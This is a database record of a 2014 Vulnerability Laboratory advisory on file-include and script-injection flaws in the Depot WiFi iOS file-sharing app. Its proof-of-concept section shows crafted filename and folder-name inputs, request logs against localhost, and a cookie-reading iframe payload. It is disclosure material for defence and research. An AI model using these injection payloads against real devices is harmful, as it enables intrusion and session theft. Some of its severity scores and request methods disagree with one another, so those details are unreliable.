{"sourceData": "Document Title:\r\n===============\r\nDepot WiFi v1.0.0 iOS - Multiple Web Vulnerabilities\r\n\r\n\r\nReferences (Source):\r\n====================\r\nhttp://www.vulnerability-lab.com/get_content.php?id=1259\r\n\r\n\r\nRelease Date:\r\n=============\r\n2014-04-23\r\n\r\n\r\nVulnerability Laboratory ID (VL-ID):\r\n====================================\r\n1259\r\n\r\n\r\nCommon Vulnerability Scoring System:\r\n====================================\r\n8.6\r\n\r\n\r\nProduct & Service Introduction:\r\n===============================\r\nWith Depot you can archive all kinds of files on your iPhone, iPod or iPad and then share them on a local WiFi network\r\nIn Depot not only you can receive files from other applications that supports document interaction (as Mail or Safari), \r\nbut you can also download and upload files from any kind of PC and internet enabled devices. You can then open your files \r\ndirectly on your device or share them between other devices such as smartphones, tablets, PCs, game consoles and smart TVs \r\nconnected through a local WiFi.\r\n\r\n(Copy of the Homepage: https://itunes.apple.com/br/app/depot/id858248612 )\r\n\r\n\r\nAbstract Advisory Information:\r\n==============================\r\nThe Vulnerability Laboratory Research Team discovered multiple vulnerabilities in the official Depot v1.0.0 iOS mobile web-application.\r\n\r\n\r\nVulnerability Disclosure Timeline:\r\n==================================\r\n2014-04-23:\tPublic Disclosure (Vulnerability Laboratory)\r\n\r\n\r\nDiscovery Status:\r\n=================\r\nPublished\r\n\r\n\r\nAffected Product(s):\r\n====================\r\nMaurizio Berioli\r\nProduct: Depot - iOS Mobile Application 1.0\r\n\r\n\r\nExploitation Technique:\r\n=======================\r\nRemote\r\n\r\n\r\nSeverity Level:\r\n===============\r\nHigh\r\n\r\n\r\nTechnical Details & Description:\r\n================================\r\n1.1\r\nA local file include web vulnerability has been discovered in the official Depot v1.0.0 iOS mobile web-application. The local file include \r\nweb vulnerability allows remote attackers to unauthorized include local file/path requests or system specific path commands to compromise \r\nthe mobile web-application.\r\n\r\nThe web vulnerability is located in the `filename` value of the `+Files > Upload!` module. Remote attackers are able to inject own files with \r\nmalicious `filename` values in the `Upload!` POST method request to compromise the mobile web-application. The local file/path include execution \r\noccurs in the `Depot index item list` context of the wifi interface. Attackers are able to inject own local file requests by usage of the `wifi interface`\r\npath value or by a local privileged device user account via `filename sync` rename.\r\n\r\nRemote attackers are also able to exploit the filename validation issue in combination with persistent script codes to execute different local malicious \r\nattacks or requests. The attack vector is on the application-side of the wifi service and the request method to inject is POST. The security risk of the \r\nlocal file include web vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 6.9.\r\n\r\nExploitation of the local file include web vulnerability requires no privileged application user account or user interaction. Successful exploitation of \r\nthe local file include web vulnerability results in mobile application or connected device component compromise.\r\n\r\n\r\nRequest Method(s):\r\n\t\t\t\t[+] [POST]\r\n\r\nVulnerable Module(s):\r\n\t\t\t\t[+] +File > Upload!\r\n\r\nVulnerable Function(s):\r\n\t\t\t\t[+] Create a new Folder (remote)\r\n\t\t\t\t[+] rename (local sync)\r\n\r\nVulnerable Parameter(s):\r\n\t\t\t\t[+] filename (path value)\r\n\r\nAffected Module(s):\r\n\t\t\t\t[+] Depot Index Item Listing (http://localhost/)\r\n\r\n\r\n\r\n\r\n1.2\r\nA code execution web vulnerability has been discovered in the official Depot v1.0.0 iOS mobile web-application. The issue allows an attacker to \r\ncompromise the application and connected device components by exploitation of system specific code execution vulnerability in the webdisk interface.\r\n\r\nThe vulnerability is located in the GET method request of the `+Folders` module. The main index provides a folders add form which is not secure \r\nencoding the regular inputs. The context can be implemented to the folders form and the results is the application-side execution of system \r\nspecific malicious codes in the index. The file itself will not be transfered and the input generates the listing context to the index.\r\n\r\nThe input field of the +Folders module executes the wrong encoded input via GET method request by the name value. Remote attackers are able to \r\nexecute the own malicious codes by usage of a script code payload in combination with the affected system device values. The execution of the code \r\noccurs in the main depot file dir listing context. The attack vector is on application-side and the request method to attack the service is GET. \r\nThe security risk of the remote code execution web vulnerability is estimated as critical with a cvss (common vulnerability scoring system) count of 8.9.\r\n\r\nExploitation of the remote code execution web vulnerability requires no privileged application user account (passwd default blank) or user interaction. \r\nSuccessful exploitation of the code execution vulnerability results in mobile application compromise and connected or affected device component compromise.\r\n\r\n\r\nRequest Method(s):\r\n\t\t\t\t[+] POST\r\n\r\nVulnerable Module(s):\r\n\t\t\t\t[+] +Folders\r\n\r\nVulnerable Function(s):\r\n\t\t\t\t[+] Create a new Folder (remote)\r\n\t\t\t\t[+] rename (local sync)\r\n\r\nVulnerable Parameter(s):\r\n\t\t\t\t[+] foldername\r\n\r\nAffected Module(s):\r\n\t\t\t\t[+] Depot Index Item Listing (http://localhost/)\r\n\r\n\r\nProof of Concept (PoC):\r\n=======================\r\n1.1\r\nThe local file include web vulnerability can be exploited by local attackers without privileged application user account or user interaction.\r\nFor security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.\r\n\r\nPoC: Exploit Filename Index\r\n\r\n<input onclick=\"toggle(this);\" type=\"checkbox\"></div></td><td><div style=\"border:1px solid;text-align:center;background-color:DCF0DC;\">\r\n<a href=\"/?ORD=1\">Name</a></div></td><td><div style=\"border:1px solid;text-align:center;background-color:DCF0DC;\"><a href=\"/?ORD=2\">Date</a></div></td>\r\n<td colspan=\"2\"><div style=\"border:1px solid;text-align:center;background-color:DCF0DC;\"><a href=\"/?ORD=4\">Size</a></div></td></tr>\r\n<tr style=\"background-color:#F0F0F0\"><td><input name=\"file\" value=\"./var/x/[LOCAL FILE INCLUDE VULNERABILITY].test.png\" type=\"checkbox\"></td>\r\n<td><a href=\"/./var/x/[LOCAL FILE INCLUDE VULNERABILITY].test.png\">./var/x/[LOCAL FILE INCLUDE VULNERABILITY].test.png</a></td>\r\n<td>\u00a0\u00a0\u00a0\u00a022.04.2014 11:37\u00a0\u00a0</td><td style=\"text-align:right;\">538.00</td><td>bytes</td>\r\n\r\n\r\n--- POC SESSION LOGS [POST] ---\r\nStatus: 200[OK]\r\nGET http://localhost:80/?addfile=1 Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Gr\u00f6\u00dfe des Inhalts[2924] Mime Type[text/html]\r\n Request Header:\r\n Host[localhost:80]\r\n User-Agent[Mozilla/5.0 (Windows NT \r\n\r\n6.3; WOW64; rv:28.0) Gecko/20100101 Firefox/28.0]\r\n Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]\r\n Accept-Language[de,en-US;q=0.7,en;q=0.3]\r\n Accept-Encoding[gzip, deflate]\r\n Referer\r\n\r\n[http://localhost:80/]\r\n Connection[keep-alive]\r\n Response Header:\r\n Content-Type[text/html]\r\n Content-Length[2924]\r\n Connection[close]\r\n Cache-Control[no-cache]\r\n\r\n\r\nStatus: 200[OK]\r\nPOST http://localhost:80/ Load Flags\r\n\r\n[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Gr\u00f6\u00dfe des Inhalts[2920] Mime Type[text/html]\r\n Request Header:\r\n Host[localhost:80]\r\n User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:28.0) Gecko/20100101 Firefox/28.0]\r\n \r\n\r\nAccept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]\r\n Accept-Language[de,en-US;q=0.7,en;q=0.3]\r\n Accept-Encoding[gzip, deflate]\r\n Referer[http://localhost:80/?addfile=1]\r\n Connection[keep-alive]\r\n POST-\r\n\r\nDaten:\r\n POST_DATA[-----------------------------2914547563213\r\nContent-Disposition: form-data; name=\"mauber\"; filename=\"./var/x/[LOCAL FILE INCLUDE VULNERABILITY].test.png\"\r\nContent-Type: image/png\r\n\r\n\r\nReference(s):\r\nhttp://localhost:80/?addfile=\r\n\r\n\r\n\r\n1.2\r\nThe code execution web vulnerability can be exploited by remote attackers without privileged application user account or user interaction.\r\nFor security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.\r\n\r\n\r\nPoC #1: Exploit Index Foldername Item\r\n\r\n<div style=\"border:1px solid;text-align:center;background-color:F0F0FF;\">Folders [<a href=\"/?adddir=1\">+</a>]<br>>\"%3E%22%3C.[CODE EXECUTION VULNERABILITY!]+%3C\" <=\"\" created!<=\"\" div=\"\"></td></tr><tr><td><div style='border:1px \r\n\r\nsolid;text-align:center;background-color:DCDCF0;'>\u00a0</div></td><td><div style='border:1px solid;text-align:center;background-color:DCDCF0;'><a href='/?ORD=1'>Name</a></div></td><td colspan='3'><div style='border:1px solid;text-\r\n\r\nalign:center;background-color:DCDCF0;'><a href='/?ORD=2'>Date</a></div></td></tr><tr style='background-color:#F0F0F0'><td>\u00a0</td><td>[<a href='.deviceMedia.'>.deviceMedia.</a>]</td><td colspan='3'>\u00a0\u00a0\u00a0\u00a0-\r\n\r\n\u00a0\u00a0</td></tr><tr style='background-color:#FFFFFF'><td>\u00a0</td><td>[<a href='/%3E%22%3C.[CODE EXECUTION VULNERABILITY!]+%3C'>%3E%22%3C.[CODE EXECUTION VULNERABILITY!]+%3C) <</a>]</td>\r\n\r\n\r\nPoC #2: Exploit #2 Directory/Path Value\r\n\r\n<td><a href=\"/\"><<</a> Browsing:<b>[<a href=\"/\">/</a>][<a href=\"/>\"<%3E%22%3C.[CODE EXECUTION VULNERABILITY!]+%3C) <\">>\"<%3E%22%3C.[CODE EXECUTION VULNERABILITY!]+%3C)\" <<=\"\" a=\"\">]</b>\r\n<br>\u00a0</td></tr><tr><td><table align='center' style='border-style:none;border-spacing:0'><tr><td colspan='5'><div style='border:1px solid;text-align:center;background-color:F0F0FF;'>\r\nFolders [<a href='/>\"<iframe src=a onload=alert(document.cookie) <?adddir=1'>+</a>]</div></td></tr><tr><td colspan='4' style='text-align: center;'>No sub-folders presents.</td></tr>\r\n<tr><td colspan='5'>\u00a0</td></tr><tr><td colspan='5'><div style='border:1px solid;text-align:center;background-color:F0FFF0;'>Files [<a href='/%3E%22%3C.[CODE EXECUTION VULNERABILITY!]+%3C) <?addfile=1'>\r\n+</a>]</div></td></tr><tr><td colspan='4' style='text-align: center;'>No files present.</td></tr></table></td></tr></table></body></html></iframe></a></b></td>\r\n\r\n\r\n--- POC SESSION LOGS [GET] ---\r\n\r\nGET http://localhost:80/.createdir?newdir=%3E%22%3C.[CODE EXECUTION VULNERABILITY!]+%3C Load Flags[LOAD_FROM_CACHE ] Gr\u00f6\u00dfe des Inhalts[-1] Mime Type[unbekannt]\r\n Request Header:\r\n Host[localhost:80]\r\n User-Agent[Mozilla/5.0 \r\n\r\n(Windows NT 6.3; WOW64; rv:28.0) Gecko/20100101 Firefox/28.0]\r\n Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]\r\n Accept-Language[de,en-US;q=0.7,en;q=0.3]\r\n Accept-Encoding[gzip, deflate]\r\n Referer\r\n\r\n[http://localhost:80/?adddir=1]\r\n Response Header:\r\n\r\n\r\n11:15:44.105[31ms][total 31ms] Status: 200[OK]\r\nGET http://localhost:80/%3E%22%3C.[CODE EXECUTION VULNERABILITY!]+%3C Load Flags[LOAD_DOCUMENT_URI ] Gr\u00f6\u00dfe des Inhalts[48] Mime Type\r\n\r\n[text/html]\r\n Request Header:\r\n Host[localhost:80]\r\n User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:28.0) Gecko/20100101 Firefox/28.0]\r\n Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]\r\n Accept-\r\n\r\nLanguage[de,en-US;q=0.7,en;q=0.3]\r\n Accept-Encoding[gzip, deflate]\r\n Referer[http://localhost:80/]\r\n Connection[keep-alive]\r\n Response Header:\r\n Content-Type[text/html]\r\n Content-Length[48]\r\n Connection[close]\r\nCache-Control[no-cache]\r\n\r\n\r\n\r\nReference(s):\r\nhttp://localhost:80/.createdir?newdir=\r\n\r\n\r\nSecurity Risk:\r\n==============\r\n1.1\r\nThe security risk of the local file include web vulnerability is estimated as high.\r\n\r\n1.2\r\nThe security risk of the code execution web vulnerability is estimated as high(+).\r\n\r\n\r\nCredits & Authors:\r\n==================\r\nVulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com]\r\n\r\n\r\nDisclaimer & Information:\r\n=========================\r\nThe information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, \r\neither expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-\r\nLab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business \r\nprofits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some \r\nstates do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation \r\nmay not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases \r\nor trade with fraud/stolen material.\r\n\r\nDomains: www.vulnerability-lab.com \t- www.vuln-lab.com\t\t\t - www.evolution-sec.com\r\nContact: admin@vulnerability-lab.com \t- research@vulnerability-lab.com \t - admin@evolution-sec.com\r\nSection: www.vulnerability-lab.com/dev \t- forum.vulnerability-db.com \t\t - magazine.vulnerability-db.com\r\nSocial:\t twitter.com/#!/vuln_lab \t\t- facebook.com/VulnerabilityLab \t - youtube.com/user/vulnerability0lab\r\nFeeds:\t vulnerability-lab.com/rss/rss.php\t- vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php\r\n\r\nAny modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. \r\nPermission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other \r\nmedia, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and \r\nother information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), \r\nmodify, use or edit our material contact (admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission.\r\n\r\n\t\t\t\tCopyright \u00a9 2014 | Vulnerability Laboratory [Evolution Security]\r\n\r\n\r\n\r\n", "description": "", "reporter": "Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com]", "href": "http://www.vulnerability-lab.com/get_content.php?id=1259", "type": "vulnerlab", "viewCount": 2, "references": [], "lastseen": "2019-07-10T16:42:10", "published": "2014-04-23T00:00:00", "cvelist": [], "id": "VULNERLAB:1259", "modified": "2014-04-23T00:00:00", "title": "Depot WiFi v1.0.0 iOS - Multiple Web Vulnerabilities", "edition": 3, "cvss": {"score": 0.0, "vector": "NONE"}, "bulletinFamily": "exploit", "enchantments": {"dependencies": {"references": [], "modified": "2019-07-10T16:42:10", "rev": 2}, "score": {"value": 0.2, "vector": "NONE", "modified": "2019-07-10T16:42:10", "rev": 2}, "vulnersScore": 0.2}, "scheme": null, "immutableFields": []}